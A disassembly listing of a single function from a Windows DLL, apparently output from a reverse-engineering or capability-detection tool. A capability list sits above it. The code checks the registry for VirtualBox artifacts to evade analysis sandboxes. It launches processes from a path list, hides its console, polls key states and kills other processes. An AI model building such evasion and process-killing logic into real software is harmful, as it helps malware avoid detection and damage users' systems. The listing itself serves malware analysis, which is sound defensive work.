Function at 0x180001b90
Capabilities:
Check if file exists
Create process on windows
Get file attributes
Log keystrokes via polling
Terminate process

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
push rbp
lea rbp, [rsp - 0x57]
sub rsp, 0xf0
mov rax, qword [0x180006040]
xor rax, rsp
mov qword [rbp + 0x47], rax
cmp edx, 1
jne 0x180001da1
xor eax, eax
mov qword [rbp - 0x45], rax
mov eax, edx
xor ecx, ecx
cpuid
mov edi, ecx
mov dword [rbp - 0x49], eax
mov dword [rbp - 0x45], ebx
mov dword [rbp - 0x3d], edx
and edi, 0x80000000
lea rax, [rbp - 0x49]
mov qword [rsp + 0x20], rax
mov r9d, 0x20019
xor r8d, r8d
lea rdx, str.HARDWAREACPIDSDTVBOX
mov rcx, 0xffffffff80000002
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x180001c1b
mov rcx, qword [rbp - 0x49]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
xor eax, eax
jmp 0x180001da6
lea rax, [rbp - 0x49]
mov qword [rsp + 0x20], rax
mov r9d, 0x20019
xor r8d, r8d
lea rdx, str.SYSTEMCurrentControlSetServicesVBoxGuest
mov rcx, 0xffffffff80000002
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
je 0x180001c0a
test edi, edi
je 0x180001c50
xor eax, eax
jmp 0x180001da6
lea rbx, [0x180017b50]
xor edi, edi
lea rsi, [0x180017b90]
mov rcx, rbx
cmp qword [rbx + 0x18], 0xf
jbe 0x180001c6d
mov rcx, qword [rbx]
call qword [sym.imp.KERNEL32.dll_GetFileAttributesA]
cmp eax, 0xffffffff
je 0x180001cdd
mov dword [rbp - 0x29], 0x68
xorps xmm0, xmm0
movups xmmword [rbp - 0x21], xmm0
movups xmmword [rbp - 0x11], xmm0
movups xmmword [rbp - 1], xmm0
movups xmmword [rbp + 0xf], xmm0
movups xmmword [rbp + 0x1f], xmm0
movups xmmword [rbp + 0x2f], xmm0
mov rcx, rbx
cmp qword [rbx + 0x18], 0xf
jbe 0x180001ca7
mov rcx, qword [rbx]
lea rax, [rbp - 0x49]
mov qword [rsp + 0x48], rax
lea rax, [rbp - 0x29]
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x38], rdi
mov qword [rsp + 0x30], rdi
mov dword [rsp + 0x28], edi
mov dword [rsp + 0x20], edi
xor r9d, r9d
xor r8d, r8d
xor edx, edx
call qword [sym.imp.KERNEL32.dll_CreateProcessA]
test eax, eax
jne 0x180001cec
add rbx, 0x20
cmp rbx, rsi
jne 0x180001c60
jmp 0x180001d00
mov rcx, qword [rbp - 0x49]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rbp - 0x41]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
call qword [sym.imp.KERNEL32.dll_GetConsoleWindow]
mov rcx, rax
xor edx, edx
call qword [sym.imp.USER32.dll_ShowWindow]
mov ecx, 0x13
call qword [sym.imp.USER32.dll_GetAsyncKeyState]
test ax, ax
jne 0x180001d56
mov ecx, 0x24
call qword [sym.imp.USER32.dll_GetAsyncKeyState]
test ax, ax
jne 0x180001dcb
call qword [sym.imp.KERNEL32.dll_GetConsoleWindow]
mov rcx, rax
xor edx, edx
call qword [sym.imp.USER32.dll_ShowWindow]
mov ecx, 0x13
call qword [sym.imp.USER32.dll_GetAsyncKeyState]
test ax, ax
je 0x180001d21
call qword [sym.imp.KERNEL32.dll_GetConsoleWindow]
mov rcx, rax
mov edx, 5
call qword [sym.imp.USER32.dll_ShowWindow]
call fcn.180001950
call qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov r8d, eax
xor edx, edx
mov ecx, 1
call qword [sym.imp.KERNEL32.dll_OpenProcess]
mov rbx, rax
test rax, rax
je 0x180001da1
xor edx, edx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, 1
mov rcx, qword [rbp + 0x47]
xor rcx, rsp
call fcn.1800024e0
lea r11, [rsp + 0xf0]
mov rbx, qword [r11 + 0x10]
mov rsi, qword [r11 + 0x18]
mov rdi, qword [r11 + 0x20]
mov rsp, r11
pop rbp
ret
lea rcx, [rbp - 0x49]
call fcn.180001940
lea rcx, [rbp - 0x49]
call fcn.1800017f0
nop
lea rcx, [rbp - 0x49]
call fcn.180001e80
test rax, rax
je 0x180001e58
nop dword [rax]
mov rdx, rdi
lea rcx, [rbp - 0x49]
call fcn.180001e70
mov edx, dword [rax]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___unsigned_long_int____ptr64]
lea rdx, [0x180002100]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov rdx, rdi
lea rcx, [rbp - 0x49]
call fcn.180001e70
mov rbx, rax
call qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
cmp eax, dword [rbx]
je 0x180001e47
mov rdx, rdi
lea rcx, [rbp - 0x49]
call fcn.180001e70
mov ecx, dword [rax]
call fcn.1800017a0
inc rdi
lea rcx, [rbp - 0x49]
call fcn.180001e80
cmp rdi, rax
jb 0x180001df0
call fcn.180001950
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
int3